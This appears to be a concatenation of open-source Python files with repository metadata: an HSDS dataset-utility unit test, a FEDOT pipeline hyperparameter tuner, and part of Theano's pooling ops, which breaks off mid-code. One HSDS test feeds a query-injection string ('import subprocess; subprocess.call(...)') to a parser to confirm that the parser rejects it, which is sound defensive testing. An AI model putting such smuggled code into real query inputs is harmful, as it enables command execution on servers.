############################################################################## # Copyright by The HDF Group. # # All rights reserved. # # # # This file is part of HSDS (HDF5 Scalable Data Service), Libraries and # # Utilities. The full HSDS copyright notice, including # # terms governing use, modification, and redistribution, is contained in # # the file COPYING, which can be found at the root of the source code # # distribution tree. If you do not have access to this file, you may # # request a copy from help@hdfgroup.org. # ############################################################################## import unittest import sys sys.path.append('../../hsds/util') sys.path.append('../../hsds') from dsetUtil import getHyperslabSelection, getSelectionShape from dsetUtil import ItemIterator, getEvalStr class DsetUtilTest(unittest.TestCase): def __init__(self, *args, **kwargs): super(DsetUtilTest, self).__init__(*args, **kwargs) # main def testGetHyperslabSelection(self): # getHyperslabSelection(dsetshape, start, stop, step) # 1-D case datashape = [100,] slices = getHyperslabSelection(datashape) self.assertEqual(len(slices), 1) self.assertEqual(slices[0], slice(0, 100, 1)) slices = getHyperslabSelection(datashape, 20) self.assertEqual(len(slices), 1) self.assertEqual(slices[0], slice(20, 100, 1)) slices = getHyperslabSelection(datashape, 20, 80) self.assertEqual(len(slices), 1) self.assertEqual(slices[0], slice(20, 80, 1)) slices = getHyperslabSelection(datashape, 20, 80, 2) self.assertEqual(len(slices), 1) self.assertEqual(slices[0], slice(20, 80, 2)) datashape = [100, 50] slices = getHyperslabSelection(datashape) self.assertEqual(len(slices), 2) self.assertEqual(slices[0], slice(0, 100, 1)) self.assertEqual(slices[1], slice(0, 50, 1)) slices = getHyperslabSelection(datashape, (10, 20)) self.assertEqual(len(slices), 2) self.assertEqual(slices[0], slice(10, 100, 1)) self.assertEqual(slices[1], slice(20, 50, 1)) slices = getHyperslabSelection(datashape, (10, 20), (90, 30)) self.assertEqual(len(slices), 2) self.assertEqual(slices[0], slice(10, 90, 1)) self.assertEqual(slices[1], slice(20, 30, 1)) slices = getHyperslabSelection(datashape, (10, 20), (90, 30), (1,2)) self.assertEqual(len(slices), 2) self.assertEqual(slices[0], slice(10, 90, 1)) self.assertEqual(slices[1], slice(20, 30, 2)) def testGetSelectionShape(self): sel = [ slice(3,7,1), ] shape = getSelectionShape(sel) self.assertEqual(shape, [4,]) sel = [ slice(3,7,3), ] # select points 3, 6 shape = getSelectionShape(sel) self.assertEqual(shape, [2,]) sel = [ slice(44,52,1), slice(48,52,1) ] shape = getSelectionShape(sel) self.assertEqual(shape, [8,4]) sel = [ slice(0, 4, 2), ] # select points 0, 2 shape = getSelectionShape(sel) self.assertEqual(shape, [2,]) sel = [ slice(0, 5, 2), ] # select points 0, 2, 4 shape = getSelectionShape(sel) self.assertEqual(shape, [3,]) def testGetEvalStr(self): queries = { "date == 23": "rows['date'] == 23", "wind == b'W 5'": "rows['wind'] == b'W 5'", "temp > 61": "rows['temp'] > 61", "(date >=22) & (date <= 24)": "(rows['date'] >=22) & (rows['date'] <= 24)", "(date == 21) & (temp > 70)": "(rows['date'] == 21) & (rows['temp'] > 70)", "(wind == b'E 7') | (wind == b'S 7')": "(rows['wind'] == b'E 7') | (rows['wind'] == b'S 7')" } fields = ["date", "wind", "temp"] for query in queries.keys(): eval_str = getEvalStr(query, "rows", fields) self.assertEqual(eval_str, queries[query]) #print(query, "->", eval_str) def testBadQuery(self): queries = ( "foobar", # no variable used "wind = b'abc", # non-closed literal "(wind = b'N') & (temp = 32", # missing paren "foobar > 42", # invalid field name "import subprocess; subprocess.call(['ls', '/'])") # injection attack fields = ("date", "wind", "temp" ) for query in queries: try: eval_str = getEvalStr(query, "x", fields) self.assertTrue(False) # shouldn't get here except Exception: pass # ok def testItemIterator(self): # 1-D case datashape = [10,] slices = getHyperslabSelection(datashape) it = ItemIterator(slices) indices = [] count = 0 while True: try: index = it.next() count += 1 indices.append(index) except StopIteration: break self.assertEqual(count, 10) self.assertEqual(indices, list(range(10))) # 2-D case datashape = [4, 5] slices = getHyperslabSelection(datashape) it = ItemIterator(slices) indices = [] count = 0 while True: try: index = it.next() self.assertTrue(len(index), 2) self.assertTrue(index[0] >= 0) self.assertTrue(index[0] < 4) self.assertTrue(index[1] >= 0) self.assertTrue(index[1] < 5) count += 1 indices.append(index) except StopIteration: break self.assertEqual(count, 20) if __name__ == '__main__': #setup test files unittest.main()

38.27439

114

0.498487

true

f71048378dda0fc6890665ea8932c66d76ee0535

6,037

py

Python

fedot/core/pipelines/tuning/unified.py

bahia14/Fedot_Times_Series_Forecast

995751068733541ba2f546065082709ce0fb63ae

[ "BSD-3-Clause" ]

null

fedot/core/pipelines/tuning/unified.py

bahia14/Fedot_Times_Series_Forecast

995751068733541ba2f546065082709ce0fb63ae

[ "BSD-3-Clause" ]

null

fedot/core/pipelines/tuning/unified.py

bahia14/Fedot_Times_Series_Forecast

995751068733541ba2f546065082709ce0fb63ae

[ "BSD-3-Clause" ]

null

from datetime import timedelta from functools import partial import numpy as np from hyperopt import fmin, space_eval, tpe from fedot.core.data.data_split import train_test_data_setup from fedot.core.log import Log from fedot.core.pipelines.tuning.hyperparams import convert_params, get_node_params from fedot.core.pipelines.tuning.tuner_interface import HyperoptTuner, _greater_is_better MAX_METRIC_VALUE = 10e6 class PipelineTuner(HyperoptTuner): """ Class for hyperparameters optimization for all nodes simultaneously """ def __init__(self, pipeline, task, iterations=100, timeout: timedelta = timedelta(minutes=5), log: Log = None): super().__init__(pipeline, task, iterations, timeout, log) def tune_pipeline(self, input_data, loss_function, loss_params=None): """ Function for hyperparameters tuning on the entire pipeline """ parameters_dict = self._get_parameters_for_tune(self.pipeline) # Train test split train_input, predict_input = train_test_data_setup(input_data) test_target = np.array(predict_input.target) is_need_to_maximize = _greater_is_better(target=test_target, loss_function=loss_function, loss_params=loss_params) self.is_need_to_maximize = is_need_to_maximize # Check source metrics for data self.init_check(train_input, predict_input, test_target, loss_function, loss_params) best = fmin(partial(self._objective, pipeline=self.pipeline, train_input=train_input, predict_input=predict_input, test_target=test_target, loss_function=loss_function, loss_params=loss_params), parameters_dict, algo=tpe.suggest, max_evals=self.iterations, timeout=self.max_seconds) best = space_eval(space=parameters_dict, hp_assignment=best) tuned_pipeline = self.set_arg_pipeline(pipeline=self.pipeline, parameters=best) # Validation is the optimization do well final_pipeline = self.final_check(train_input=train_input, predict_input=predict_input, test_target=test_target, tuned_pipeline=tuned_pipeline, loss_function=loss_function, loss_params=loss_params) return final_pipeline @staticmethod def set_arg_pipeline(pipeline, parameters): """ Method for parameters setting to a pipeline :param pipeline: pipeline to which parameters should ba assigned :param parameters: dictionary with parameters to set :return pipeline: pipeline with new hyperparameters in each node """ # Set hyperparameters for every node for node_id, _ in enumerate(pipeline.nodes): node_params = parameters.get(node_id) if node_params is not None: # Delete all prefix strings to get appropriate parameters names new_params = convert_params(node_params) # Update parameters in nodes pipeline.nodes[node_id].custom_params = new_params return pipeline @staticmethod def _get_parameters_for_tune(pipeline): """ Function for defining the search space :param pipeline: pipeline to optimize :return parameters_dict: dictionary with operation names and parameters """ parameters_dict = {} for node_id, node in enumerate(pipeline.nodes): operation_name = str(node.operation) # Assign unique prefix for each model hyperparameter # label - number of node in the pipeline node_params = get_node_params(node_id=node_id, operation_name=operation_name) parameters_dict.update({node_id: node_params}) return parameters_dict def _objective(self, parameters_dict, pipeline, train_input, predict_input, test_target, loss_function, loss_params: dict): """ Objective function for minimization / maximization problem :param parameters_dict: dictionary with operation names and parameters :param pipeline: pipeline to optimize :param train_input: input for train pipeline model :param predict_input: input for test pipeline model :param test_target: target for validation :param loss_function: loss function to optimize :param loss_params: parameters for loss function :return metric_value: value of objective function """ # Set hyperparameters for every node pipeline = PipelineTuner.set_arg_pipeline(pipeline=pipeline, parameters=parameters_dict) try: metric_value = PipelineTuner.get_metric_value(train_input=train_input, predict_input=predict_input, test_target=test_target, pipeline=pipeline, loss_function=loss_function, loss_params=loss_params) except Exception: if self.is_need_to_maximize is True: metric_value = -MAX_METRIC_VALUE else: metric_value = MAX_METRIC_VALUE if self.is_need_to_maximize is True: return -metric_value else: return metric_value

40.246667

96

0.597813

from datetime import timedelta from functools import partial import numpy as np from hyperopt import fmin, space_eval, tpe from fedot.core.data.data_split import train_test_data_setup from fedot.core.log import Log from fedot.core.pipelines.tuning.hyperparams import convert_params, get_node_params from fedot.core.pipelines.tuning.tuner_interface import HyperoptTuner, _greater_is_better MAX_METRIC_VALUE = 10e6 class PipelineTuner(HyperoptTuner): def __init__(self, pipeline, task, iterations=100, timeout: timedelta = timedelta(minutes=5), log: Log = None): super().__init__(pipeline, task, iterations, timeout, log) def tune_pipeline(self, input_data, loss_function, loss_params=None): parameters_dict = self._get_parameters_for_tune(self.pipeline) train_input, predict_input = train_test_data_setup(input_data) test_target = np.array(predict_input.target) is_need_to_maximize = _greater_is_better(target=test_target, loss_function=loss_function, loss_params=loss_params) self.is_need_to_maximize = is_need_to_maximize self.init_check(train_input, predict_input, test_target, loss_function, loss_params) best = fmin(partial(self._objective, pipeline=self.pipeline, train_input=train_input, predict_input=predict_input, test_target=test_target, loss_function=loss_function, loss_params=loss_params), parameters_dict, algo=tpe.suggest, max_evals=self.iterations, timeout=self.max_seconds) best = space_eval(space=parameters_dict, hp_assignment=best) tuned_pipeline = self.set_arg_pipeline(pipeline=self.pipeline, parameters=best) final_pipeline = self.final_check(train_input=train_input, predict_input=predict_input, test_target=test_target, tuned_pipeline=tuned_pipeline, loss_function=loss_function, loss_params=loss_params) return final_pipeline @staticmethod def set_arg_pipeline(pipeline, parameters): for node_id, _ in enumerate(pipeline.nodes): node_params = parameters.get(node_id) if node_params is not None: new_params = convert_params(node_params) pipeline.nodes[node_id].custom_params = new_params return pipeline @staticmethod def _get_parameters_for_tune(pipeline): parameters_dict = {} for node_id, node in enumerate(pipeline.nodes): operation_name = str(node.operation) node_params = get_node_params(node_id=node_id, operation_name=operation_name) parameters_dict.update({node_id: node_params}) return parameters_dict def _objective(self, parameters_dict, pipeline, train_input, predict_input, test_target, loss_function, loss_params: dict): pipeline = PipelineTuner.set_arg_pipeline(pipeline=pipeline, parameters=parameters_dict) try: metric_value = PipelineTuner.get_metric_value(train_input=train_input, predict_input=predict_input, test_target=test_target, pipeline=pipeline, loss_function=loss_function, loss_params=loss_params) except Exception: if self.is_need_to_maximize is True: metric_value = -MAX_METRIC_VALUE else: metric_value = MAX_METRIC_VALUE if self.is_need_to_maximize is True: return -metric_value else: return metric_value

true

f71048c31984514aba32b993f0eaae5c4531e8fa

97,683

py

Python

theano/tensor/signal/pool.py

zploskey/Theano

9b3f6351d41d9f5e01b198e3de7538d7f032c409

[ "BSD-3-Clause" ]

1

2017-06-30T21:37:52.000Z

theano/tensor/signal/pool.py

zploskey/Theano

9b3f6351d41d9f5e01b198e3de7538d7f032c409

[ "BSD-3-Clause" ]

null

theano/tensor/signal/pool.py

zploskey/Theano

9b3f6351d41d9f5e01b198e3de7538d7f032c409

[ "BSD-3-Clause" ]

1

2020-01-06T20:28:42.000Z

""" Ops for downsampling images. Planned: Pool, DownsampleAvg, DownsampleSoftmax. """ from __future__ import absolute_import, print_function, division # This file should move along with conv.py import warnings import itertools import numpy as np from six.moves import xrange import six.moves.builtins as builtins import theano from theano import gof, OpenMPOp, tensor, Variable, Apply from theano.gof import ParamsType, EnumList from theano.gradient import DisconnectedType from theano.scalar import bool as bool_t def max_pool_2d_same_size(input, patch_size): """ Takes as input a 4-D tensor. It sets all non maximum values of non-overlapping patches of size (patch_size[0],patch_size[1]) to zero, keeping only the maximum values. The output has the same dimensions as the input. Parameters ---------- input : 4-D theano tensor of input images Input images. Max pooling will be done over the 2 last dimensions. patch_size : tuple of length 2 or theano vector of ints of size 2. Size of the patch (patch height, patch width). (2,2) will retain only one non-zero value per patch of 4 values. """ output = Pool(True)(input, patch_size) outs = MaxPoolGrad(True)(input, output, output, patch_size) return outs def pool_2d(input, ws=None, ignore_border=None, stride=None, pad=(0, 0), mode='max', ds=None, st=None, padding=None): """Downscale the input by a specified factor Takes as input a N-D tensor, where N >= 2. It downscales the input image by the specified factor, by keeping only the maximum value of non-overlapping patches of size (ws[0],ws[1]) Parameters ---------- input : N-D theano tensor of input images Input images. Max pooling will be done over the 2 last dimensions. ws : tuple of length 2 or theano vector of ints of size 2. Factor by which to downscale (vertical ws, horizontal ws). (2,2) will halve the image in each dimension. ignore_border : bool (default None, will print a warning and set to False) When True, (5,5) input with ws=(2,2) will generate a (2,2) output. (3,3) otherwise. stride : tuple of two ints or theano vector of ints of size 2. Stride size, which is the number of shifts over rows/cols to get the next pool region. If stride is None, it is considered equal to ws (no overlap on pooling regions), eg: stride=(1,1) will shifts over one row and one col for every iteration. pad : tuple of two ints or theano vector of ints of size 2. (pad_h, pad_w), pad zeros to extend beyond four borders of the images, pad_h is the size of the top and bottom margins, and pad_w is the size of the left and right margins. mode : {'max', 'sum', 'average_inc_pad', 'average_exc_pad'} Operation executed on each window. `max` and `sum` always exclude the padding in the computation. `average` gives you the choice to include or exclude it. ds *deprecated*, use parameter ws instead. st *deprecated*, use parameter stride instead. padding *deprecated*, use parameter pad instead. """ # check for deprecated parameter names if ds is not None: if ws is not None: raise ValueError( "You can't provide a tuple value to both 'ws' and 'ds'." " Please provide a value only to 'ws'." ) else: warnings.warn( "DEPRECATION: the 'ds' parameter is not going to exist" " anymore as it is going to be replaced by the parameter" " 'ws'.", stacklevel=2 ) ws = ds elif ds is None and ws is None: raise ValueError( "You must provide a tuple value for the window size." ) if st is not None: if stride is not None: raise ValueError( "You can't provide a tuple value to both 'st and 'stride'." " Please provide a value only to 'stride'." ) else: warnings.warn( "DEPRECATION: the 'st' parameter is not going to exist" " anymore as it is going to be replaced by the parameter" " 'stride'.", stacklevel=2 ) stride = st if padding is not None: if pad not in {None, (0, 0)}: raise ValueError( "You can't provide a tuple value to both 'padding' and pad." " Please provide a value only to pad." ) else: warnings.warn( "DEPRECATION: the 'padding' parameter is not going to exist" " anymore as it is going to be replaced by the parameter" " 'pad'.", stacklevel=2 ) pad = padding if input.ndim < 2: raise NotImplementedError('pool_2d requires a dimension >= 2') if ignore_border is None: warnings.warn( "pool_2d() will have the parameter ignore_border" " default value changed to True (currently" " False). To have consistent behavior with all Theano" " version, explicitly add the parameter ignore_border=True." " On the GPU, using ignore_border=True is needed to use cuDNN." " When using ignore_border=False and not using cuDNN, the only" " GPU combination supported is when" " `ws == stride and pad == (0, 0) and mode == 'max'`." " Otherwise, the convolution will be executed on CPU.", stacklevel=2) ignore_border = False op = Pool(ignore_border, ndim=2, mode=mode) output = op(input, ws, stride, pad) return output def pool_3d(input, ws=None, ignore_border=None, stride=None, pad=(0, 0, 0), mode='max', ds=None, st=None, padding=None): """Downscale the input by a specified factor Takes as input a N-D tensor, where N >= 3. It downscales the input image by the specified factor, by keeping only the maximum value of non-overlapping patches of size (ws[0],ws[1],ws[2]) Parameters ---------- input : N-D theano tensor of input images Input images. Max pooling will be done over the 3 last dimensions. ws : tuple of length 3 or theano vector of ints of size 3 Factor by which to downscale (vertical ws, horizontal ws, depth ws). (2,2,2) will halve the image in each dimension. ignore_border : bool (default None, will print a warning and set to False) When True, (5,5,5) input with ws=(2,2,2) will generate a (2,2,2) output. (3,3,3) otherwise. st : tuple of three ints or theano vector of ints of size 3 Stride size, which is the number of shifts over rows/cols/slices to get the next pool region. If st is None, it is considered equal to ws (no overlap on pooling regions). pad : tuple of two ints or theano vector of ints of size 3 (pad_h, pad_w, pad_d), pad zeros to extend beyond six borders of the images, pad_h is the size of the top and bottom margins, pad_w is the size of the left and right margins, and pad_d is the size of the front and back margins mode : {'max', 'sum', 'average_inc_pad', 'average_exc_pad'} Operation executed on each window. `max` and `sum` always exclude the padding in the computation. `average` gives you the choice to include or exclude it. ds *deprecated*, use parameter ws instead. st *deprecated*, use parameter st instead. padding *deprecated*, use parameter pad instead. """ # check for deprecated parameter names if ds is not None: if ws is not None: raise ValueError( "You can't provide a tuple value to both 'ws' and 'ds'." " Please provide a value only to 'ws'." ) else: warnings.warn( "DEPRECATION: the 'ds' parameter is not going to exist" " anymore as it is going to be replaced by the parameter" " 'ws'.", stacklevel=2 ) ws = ds elif ds is None and ws is None: raise ValueError( "You must provide a tuple value for the window size." ) if st is not None: if stride is not None: raise ValueError( "You can't provide a tuple value to both 'st and 'stride'." " Please provide a value only to 'stride'." ) else: warnings.warn( "DEPRECATION: the 'st' parameter is not going to exist" " anymore as it is going to be replaced by the parameter" " 'stride'.", stacklevel=2 ) stride = st if padding is not None: if pad not in {None, (0, 0, 0)}: raise ValueError( "You can't provide a tuple value to both 'padding' and pad." " Please provide a value only to pad." ) else: warnings.warn( "DEPRECATION: the 'padding' parameter is not going to exist" " anymore as it is going to be replaced by the parameter" " 'pad'.", stacklevel=2 ) pad = padding if input.ndim < 3: raise NotImplementedError('pool_3d requires a dimension >= 3') if ignore_border is None: warnings.warn( "pool_3d() will have the parameter ignore_border" " default value changed to True (currently" " False). To have consistent behavior with all Theano" " version, explicitly add the parameter ignore_border=True." " On the GPU, using ignore_border=True is needed to use cuDNN." " When using ignore_border=False and not using cuDNN, the only" " GPU combination supported is when" " `ws == stride and pad == (0, 0, 0) and mode == 'max'`." " Otherwise, the convolution will be executed on CPU.", stacklevel=2) ignore_border = False op = Pool(ignore_border, ndim=3, mode=mode) output = op(input, ws, stride, pad) return output # NB: This enum type is currently used in gpuarray/pool.py. # It may be used later as op param in this current file. # Enum name and constants names are inspired from cuDNN type `cudnnPoolingMode_t` # (cf. `theano/gpuarray/cudnn_defs.py`). PoolingMode_t = EnumList(('POOLING_MAX', 'max'), ('POOLING_SUM', 'sum'), ('POOLING_AVERAGE_COUNT_INCLUDE_PADDING', 'average_inc_pad'), ('POOLING_AVERAGE_COUNT_EXCLUDE_PADDING', 'average_exc_pad')) class Pool(OpenMPOp): """ sum or average over different patches. Parameters ---------- ws : list or tuple of N ints Downsample factor over rows, columns etc. ws indicates the size of the pooling region. ignore_border : bool If ws doesn't divide imgshape, do we include an extra row/col/slice of partial downsampling (False) or ignore it (True). stride : list or tuple of N ints or None Stride size, which is the number of shifts over rows/cols/slices to get the next pool region. If stride is None, it is considered equal to ws (no overlap on pooling regions). pad : tuple of N ints or None For each downsampling dimension, this specifies the number of zeros to add as padding on both sides. For 2D and (pad_h, pad_w), pad_h specifies the size of the top and bottom margins, pad_w specifies the size of the left and right margins. No padding is added if pad is None. mode : {'max', 'sum', 'average_inc_pad', 'average_exc_pad'} ('average_inc_pad' excludes the padding from the count, 'average_exc_pad' include it) ndim : int The number of pooling dimensions N. The default is 2. ds *deprecated*, use parameter ws instead. st *deprecated*, use parameter st instead. padding *deprecated*, use parameter pad instead. """ __props__ = ('ignore_border', 'mode', 'ndim') params_type = ParamsType(ignore_border=bool_t,) @staticmethod def out_shape(imgshape, ws=None, ignore_border=False, stride=None, pad=None, ndim=2, ds=None, st=None, padding=None): """ Return the shape of the output from this op, for input of given shape and flags. Parameters ---------- imgshape : tuple, list, or similar of integer or scalar Theano variable The shape of a tensor of images. The last N elements are interpreted as the number of rows, and the number of cols. ws : list or tuple of N ints Downsample factor over rows and column. ws indicates the pool region size. ignore_border : bool If ws doesn't divide imgshape, do we include an extra row/col/slice of partial downsampling (False) or ignore it (True). stride : list or tuple of N ints or None Stride size, which is the number of shifts over rows/cols/slices to get the next pool region. If stride is None, it is considered equal to ws (no overlap on pooling regions). pad : tuple of N ints or None For each downsampling dimension, this specifies the number of zeros to add as padding on both sides. For 2D and (pad_h, pad_w), pad_h specifies the size of the top and bottom margins, pad_w specifies the size of the left and right margins. No padding is added if pad is None. ndim : int The number of pooling dimensions N. The default is 2. ds *deprecated*, use parameter ws instead. st *deprecated*, use parameter st instead. padding *deprecated*, use parameter pad instead. Returns ------- list The shape of the output from this op, for input of given shape. This will have the same length as imgshape, but with last N elements reduced as per the downsampling & ignore_border flags. """ # check for deprecated parameter names if ds is not None: if ws is not None: raise ValueError( "You can't provide a tuple value to both 'ws' and 'ds'." " Please provide a value only to 'ws'." ) else: warnings.warn( "DEPRECATION: the 'ds' parameter is not going to exist" " anymore as it is going to be replaced by the parameter" " 'ws'.", stacklevel=2 ) ws = ds elif ds is None and ws is None: raise ValueError( "You must provide a tuple value for the window size." ) if st is not None: if stride is not None: raise ValueError( "You can't provide a tuple value to both 'st and 'stride'." " Please provide a value only to 'stride'." ) else: warnings.warn( "DEPRECATION: the 'st' parameter is not going to exist" " anymore as it is going to be replaced by the parameter" " 'stride'.", stacklevel=2 ) stride = st if padding is not None: zero_pad = (0,) * ndim if pad not in {None, zero_pad}: raise ValueError( "You can't provide a tuple value to both 'padding' and pad." " Please provide a value only to pad." ) else: warnings.warn( "DEPRECATION: the 'padding' parameter is not going to" " exist anymore as it is going to be replaced by the" " parameter 'pad'.", stacklevel=2 ) pad = padding if ndim is None: ndim = 2 assert ndim > 0 if len(imgshape) < ndim: raise TypeError('imgshape must have at least {} dimensions'.format(ndim)) if stride is None: stride = ws if pad is None: pad = (0,) * ndim patch_shape = tuple(tensor.extract_constant(imgshape[-ndim + i]) + pad[i] * 2 for i in xrange(ndim)) def compute_out(v, downsample, stride): if ignore_border: if downsample == stride: return v // stride else: out = (v - downsample) // stride + 1 if isinstance(out, theano.Variable): return tensor.maximum(out, 0) else: return np.maximum(out, 0) else: if isinstance(v, theano.Variable): return tensor.switch(tensor.ge(stride, downsample), (v - 1) // stride + 1, tensor.maximum(0, (v - 1 - downsample) // stride + 1) + 1) elif stride >= downsample: return (v - 1) // stride + 1 else: return max(0, (v - 1 - downsample + stride) // stride) + 1 out_shape = [compute_out(patch_shape[i], ws[i], stride[i]) for i in xrange(ndim)] rval = list(imgshape[:-ndim]) + out_shape return rval def __init__(self, ignore_border=False, mode='max', ndim=2, openmp=None): super(Pool, self).__init__(openmp=openmp) self.ndim = ndim self.ignore_border = ignore_border if mode == 'max_deterministic': # It seems max pool algo is already deterministic in CPU. mode = 'max' if mode not in ['max', 'average_inc_pad', 'average_exc_pad', 'sum']: raise ValueError( "Pool mode parameter only support 'max', 'sum'," " 'average_inc_pad' and 'average_exc_pad'. Got %s" % mode) self.mode = mode def prepare_node(self, node, storage_map, compute_map, impl): if len(node.inputs) == 1: # Old interface self.ndim = len(node.op.ds) self.mode = node.op.mode ws = theano.tensor.constant(node.op.ds) st = theano.tensor.constant(node.op.st) pad = theano.tensor.constant(node.op.padding) node.inputs.append(ws) node.inputs.append(st) node.inputs.append(pad) if isinstance(ws, theano.Constant): storage_map[ws] = [ws.data] compute_map[ws] = [True] else: storage_map[ws] = [None] compute_map[ws] = [False] if isinstance(st, theano.Constant): storage_map[st] = [st.data] compute_map[st] = [True] else: storage_map[st] = [None] compute_map[st] = [False] if isinstance(pad, theano.Constant): storage_map[pad] = [pad.data] compute_map[pad] = [True] else: storage_map[pad] = [None] compute_map[pad] = [False] def make_node(self, x, ws, stride=None, pad=None): # TODO: consider restricting the dtype? x = tensor.as_tensor_variable(x) nd = self.ndim if stride is None: stride = ws if pad is None: pad = (0,) * nd elif isinstance(pad, (tuple, list)): if max(pad) != 0 and not self.ignore_border: raise NotImplementedError( 'padding works only with ignore_border=True') if isinstance(ws, (tuple, list)): if any(pad[i] >= ws[i] for i in range(nd)): raise NotImplementedError( 'padding must be smaller than strides') ws = tensor.as_tensor_variable(ws) stride = tensor.as_tensor_variable(stride) pad = tensor.as_tensor_variable(pad) assert ws.ndim == 1 assert stride.ndim == 1 assert pad.ndim == 1 if x.type.ndim < nd: raise TypeError() if ws.dtype not in tensor.int_dtypes: raise TypeError('Pool downsample parameters must be ints.') if stride.dtype not in tensor.int_dtypes: raise TypeError('Stride parameters must be ints.') if pad.dtype not in tensor.int_dtypes: raise TypeError('Padding parameters must be ints.') # If the input shape are broadcastable we can have 0 in the output shape broad = x.broadcastable[:-nd] + (False,) * nd out = tensor.TensorType(x.dtype, broad) return gof.Apply(self, [x, ws, stride, pad], [out()]) def perform(self, node, inp, out, params): x, ws, stride, pad = inp z, = out nd = self.ndim assert ws.shape == stride.shape == pad.shape == (nd,) if len(x.shape) < nd: raise NotImplementedError( 'Pool requires input with {} or more dimensions'.format(nd)) z_shape = self.out_shape(x.shape, ws, params.ignore_border, stride, pad, nd) if not params.ignore_border: assert all(z > 0 for z in z_shape[-nd:]) if (z[0] is None) or (z[0].shape != z_shape): z[0] = np.empty(z_shape, dtype=x.dtype) zz = z[0] # size of pooling output pool_out_shp = zz.shape[-nd:] img_shp = tuple(x.shape[-nd + i] + 2 * pad[i] for i in xrange(nd)) inc_pad = self.mode == 'average_inc_pad' # pad the image if max(pad) != 0: y = np.zeros(x.shape[:-nd] + img_shp, dtype=x.dtype) y[(slice(None),) * (len(x.shape) - nd) + tuple(slice(pad[i], img_shp[i] - pad[i]) for i in xrange(nd))] = x else: y = x func = np.max if self.mode == 'sum': func = np.sum elif self.mode != 'max': func = np.average # precompute the region boundaries for each dimension region_slices = [[] for i in xrange(nd)] for i in xrange(nd): for j in xrange(pool_out_shp[i]): start = j * stride[i] end = builtins.min(start + ws[i], img_shp[i]) if not inc_pad: start = builtins.max(start, pad[i]) end = builtins.min(end, img_shp[i] - pad[i]) region_slices[i].append(slice(start, end)) # iterate over non-pooling dimensions for k in np.ndindex(*x.shape[:-nd]): zzk = zz[k] yk = y[k] # iterate over pooling regions for r in np.ndindex(*pool_out_shp): zzk[r] = func( yk[[region_slices[i][r[i]] for i in xrange(nd)]]) def infer_shape(self, node, in_shapes): ws, stride, pad = [node.inputs[1], node.inputs[2], node.inputs[3]] shp = self.out_shape(in_shapes[0], ws, self.ignore_border, stride, pad, self.ndim) return [shp] def L_op(self, inputs, outputs, grads): x, ws, stride, pad = inputs gz, = grads disc = [DisconnectedType()() for i in inputs[1:]] if self.mode == 'max': return [MaxPoolGrad(ndim=self.ndim, ignore_border=self.ignore_border)( x, outputs[0], gz, ws=ws, stride=stride, pad=pad)] + disc else: return [AveragePoolGrad(ndim=self.ndim, ignore_border=self.ignore_border, mode=self.mode)( x, gz, ws=ws, stride=stride, pad=pad)] + disc def connection_pattern(self, node): return [[1], [0], [0], [0]] def R_op(self, inputs, eval_points): if self.mode != 'max': # Rop for average or sum is simply pooling evaluated at eval point eval_inputs = [eval_points[0]] + inputs[1:] return [self(*eval_inputs)] # R_op can receive None as eval_points. # That mean there is no diferientiable path through that input # If this imply that you cannot compute some outputs, # return None for those. if eval_points[0] is None: return [None] z = self(*inputs) x, ws, stride, pad = inputs return [ DownsampleFactorMaxGradGrad(self.ignore_border, self.mode, self.ndim)(x, z, eval_points[0], ws, stride, pad) ] def c_headers(self): headers = ['<algorithm>'] headers += super(Pool, self).c_headers() return headers def c_code(self, node, name, inp, out, sub): if self.mode not in ('max', 'sum', 'average_exc_pad', 'average_inc_pad'): raise theano.gof.utils.MethodNotDefined() x, ws, stride, pad = inp z, = out nd = self.ndim total_ndim = node.inputs[0].ndim non_pool_ndim = total_ndim - nd fail = sub['fail'] params = sub['params'] if self.openmp: # run in parallel over each pooling block omp_parallel = '#pragma omp parallel for private(r_st, r_end, r_idx, i_idx, o_idx, collector) schedule(static)' else: omp_parallel = '' ccode = """ int typenum = PyArray_ObjectType((PyObject*)%(x)s, 0); if(PyArray_NDIM(%(x)s)!=%(total_ndim)s) { PyErr_SetString(PyExc_ValueError, "x must be a %(total_ndim)sD ndarray"); %(fail)s; } if(PyArray_DIM(%(ws)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "ws must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(stride)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "stride must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(pad)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "pad must be a vector of size %(nd)s"); %(fail)s; } int z[%(nd)s]; // shape of the output int r[%(nd)s]; // shape of the padded_input int ws[%(nd)s]; int st[%(nd)s]; int pd[%(nd)s]; int nonzero_padding; nonzero_padding = 0; for (int i=0; i<%(nd)s; i++) { ws[i] = *((npy_intp*)PyArray_GETPTR1(%(ws)s, i)); st[i] = *((npy_intp*)PyArray_GETPTR1(%(stride)s, i)); pd[i] = *((npy_intp*)PyArray_GETPTR1(%(pad)s, i)); r[i] = PyArray_DIMS(%(x)s)[%(non_pool_ndim)s + i] + 2 * pd[i]; if (pd[i]>0) nonzero_padding = 1; } if (!%(params)s->ignore_border && nonzero_padding) { PyErr_SetString(PyExc_ValueError, "padding must be zero when ignore border is False"); %(fail)s; } if (%(params)s->ignore_border) { for (int i=0; i<%(nd)s; i++) { // '/' in C is different from '/' in python if (r[i] - ws[i] < 0) { z[i] = 0; } else { z[i] = (r[i] - ws[i]) / st[i] + 1; } } } else { for (int i=0; i<%(nd)s; i++) { // decide how many rows/cols the output has if (st[i] >= ws[i]) { z[i] = (r[i] - 1) / st[i] + 1; } else { z[i] = std::max(0, (r[i] - 1 - ws[i] + st[i]) / st[i]) + 1; } assert(z[i] > 0); } } // memory allocation of z if necessary int mem_nec; mem_nec = 0; if ((!%(z)s) || *PyArray_DIMS(%(z)s)!=%(total_ndim)s) { mem_nec = 1; } if (!mem_nec) { for (int i=0; i<%(non_pool_ndim)s; i++) { if (PyArray_DIMS(%(z)s)[i] != PyArray_DIMS(%(x)s)[i]) { mem_nec = 1; break; } } } if (!mem_nec) { for (int i=0; i<%(nd)s; i++) { if (PyArray_DIMS(%(z)s)[%(non_pool_ndim)s + i] != z[i]) { mem_nec = 1; break; } } } if (mem_nec) { if (%(z)s) Py_XDECREF(%(z)s); npy_intp dims[%(total_ndim)s]; for (int i=0; i<%(non_pool_ndim)s; i++) { dims[i] = PyArray_DIMS(%(x)s)[i]; } for (int i=0; i<%(nd)s; i++) { dims[%(non_pool_ndim)s + i] = z[i]; } //TODO: zeros not necessary %(z)s = (PyArrayObject*) PyArray_ZEROS(%(total_ndim)s, dims, typenum,0); } // initialize temp var for the value in a region 